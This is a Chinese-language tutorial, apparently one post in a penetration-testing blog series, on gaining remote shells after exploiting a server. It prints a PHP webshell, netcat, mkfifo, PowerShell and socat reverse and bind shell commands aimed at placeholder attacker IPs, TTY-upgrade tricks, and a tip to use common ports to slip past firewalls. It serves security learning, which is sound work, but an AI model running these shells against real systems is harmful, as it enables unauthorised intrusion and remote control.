透过上一篇,我们透过 nmap 扫描 port,在从版本去查询漏洞资料库,知道目标服务器(受害主机)可能会有已知漏洞,而我们透过 exploit /POC 是为了达到什麽目的呢?
其实我们最终目的就是希望可以控制被害的服务器,但如何控制?透过什麽东西控制?为什麽要控制?
我们透过已知漏洞,上传木马後门、执行恶意程序或执行恶意指令,让我们可以连线到服务器,并且可以在该台服务器任意执行指令,这就是所谓的 Remote code execution (RCE) 远端执行指令的弱点,属於风险与影响最高的弱点。
假设是上传一个後门也就是从网站端去执行程序码,这个程序码可以透过网页的方式与服务器互动,我们称它为 webshell。
webshell 内容可能如下,这是一个由 PHP 撰写的後门:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
可以透过 http://ip/uploads/shell.php?cmd=ifconfig
由参数 cmd 中执行指令。
除了透过弱点上传 WebShell 之外,也可以透过已知弱点,执行恶意指令或执行恶意程序,让我们达到稳定的连线,并跟目标服务器作互动,以下介绍两种种类的 shell 连线方式:
/bin/sh
或 cmd.exe
此外还有一个概念可以简单将互动模式分成互动与非互动:
人家都说是网路瑞士刀,可以手动跟网路进行互瞪,前几篇有介绍可以利用该工具确认目标开的 port,不过该工具有时候比较不稳定,有 Windows 的版本。
Reverse shell:在 Linux 中利用 netcat 启动 listen 监听
攻击主机:sudo nc -lvnp <监听 port>
受害主机(Linux):sudo nc <攻击主机IP> <监听 port> -e /bin/bash
受害主机(Windows):sudo nc <攻击主机IP> <监听 port> -e "cmd.exe"
参数 | 说明 |
---|---|
-l |
启动监听模式 |
-v |
输出详细资讯 |
-n |
不要解析 DNS |
-p |
指定 port |
-e |
设定连线後执行的程序 |
※可以指定常用的 port 80,443,53 比较容易让防火墙侦测不到
Bind shell:在 Windows 中利用 netcat 启动 listen 监听
受害主机(Windows):sudo nc -lvnp <port> -e "cmd.exe"
受害主机(Linux):sudo nc -lvnp <port> -e "/bin/bash"
攻击主机:sudo nc <受害主机IP> <port>
Reverse shell:加强连线
攻击主机:sudo nc -lvnp <监听 port>
受害主机:sudo nc <攻击主机IP> <监听 port> -e /bin/bash
於攻击者机中,看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
表示受害主机已经连线,在此画面可以输入指令,但因为非互动式的,且会有输出格式的错误,甚至是有乱码,导致非常不稳定,可透过以下 Python 的方法提升连线。
加强连线方法一
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
clear
。stty raw -echo; fg
不输出我们自己输入的指令,且让在背景的连线,回到前景。加强连线方法二
使用工具 rlwrap 提升稳定:
sudo apt install rlwrap
rlwrap nc -lvnp <port>
利用 mkfifo 建立有名称的 pipe:Reverse shell
攻击主机:sudo nc -lvnp <监听 port>
受害主机(linux):mkfifo /tmp/f; nc <攻击主机IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
建立一个命名的 pipo 於资料夹 /tmp 内的档案 f,并利用 nc 将攻击主机传来的指令内容从 /tmp/f 输出连接,并将我们输入的指令送给 sh 去执行,如果有错误讯息直接传入背景,最後移除 /tmp/f。
受害主机(Windows):
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<攻击主机IP>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
利用 mkfifo 建立有名称的 pipe:Bind shell
受害主机:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
建立一个命名的 pipo 於资料夹 /tmp 内的档案 f,并利用 nc 将监听的内容从 /tmp/f 输出连接,并将我们输入的指令送给 sh 去执行,如果有错误讯息直接传入背景,最後移除 /tmp/f。
攻击主机:sudo nc <受害主机IP> <port>
比 netcat 稳定,但语法比较困难,预设状况下 Linux 会安装 netcat 比较少安装 socat,有 Windows 的版本。
Reverse shell
攻击主机:socat TCP-L:<port> -
受害主机(Windows):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 代表连线後执行 powershell,并利用 Linux 标准的输入输出。
受害主机(Linux):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind shell
受害主机(Linux):socat TCP-L:<PORT> EXEC:"bash -li"
受害主机(Windows):socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻击主机:socat TCP:<TARGET-IP>:<TARGET-PORT> -
稳定针对 Linux 的 Reverse Shell
攻击主机:socat TCP-L:<port> FILE:
tty,raw,echo=0
把目前的 tty 当作档案传送,并将回传值设定为零。
无 socat 情况
如果没有 socat 可在受害主机下载後执行,预先编好的 socat ,并输入以下的指令:
攻击主机:sudo rlerap nc -lvnp [port]
当看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
与受害主机连线成功後,执行以下指令:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
参数 | 说明 |
---|---|
pty |
为了连线稳定品质,在目标随机分配一个数字。 |
stderr |
因为非互动式的 shell 可能会有错误讯息,因此确保错误讯息显示在 shell 中。 |
sigint |
允许我们透过 Ctrl + C 取消 shell 的指令。 |
setsid |
设定新的连线过6 |
sane |
稳定 shell |
加密 socat 连线:Reverse Shell
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
加密 socat 连线:Bind Shell
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
除了 webshell 和工具 netcat 、socat 之外还有其他其他程序语言与指令可以利用,Reverse Shell Cheat Sheet,包含Python
、PHP
、Ruby
、Golang
,等其他指令。
接下来还会详细介绍两个工具(Msfvenom 与 Metasploit 中的模组 multi/handler)
use auxiliary/multi/handler
之後,进行额外的设定,如设定 PAYLOAD 、Listen IP、Listen port 等。
<<: Day 21 - 物理模拟篇 - 原生Canvas建构粒子系统 - 成为Canvas Ninja ~ 理解2D渲染的精髓
>>: 【後转前要多久】# Day21 BootStrap - 甜点电商
OptionMenu就是下拉式选单的概念,可以有不同的设定方法,可以设成有预设选项的,也可以获得选好...
圣杯和双飞翼,是布局PC常见的方法。上下有header,footer,中间三栏center,left...
什麽是K平均演算法? 讲人话就是从所有资料当中乱数选择K个中心点,把个别资料依照最近的中心点分成K群...
数学不会背叛你,数学不会就是不会。 我现在写三角函数都是去 Google 的,不要问。注意!本篇可...
资料可以是资产、也可以是负债。 当组织积累了太多无用、甚至错误的资料时,资料不但不能提供价值,反而需...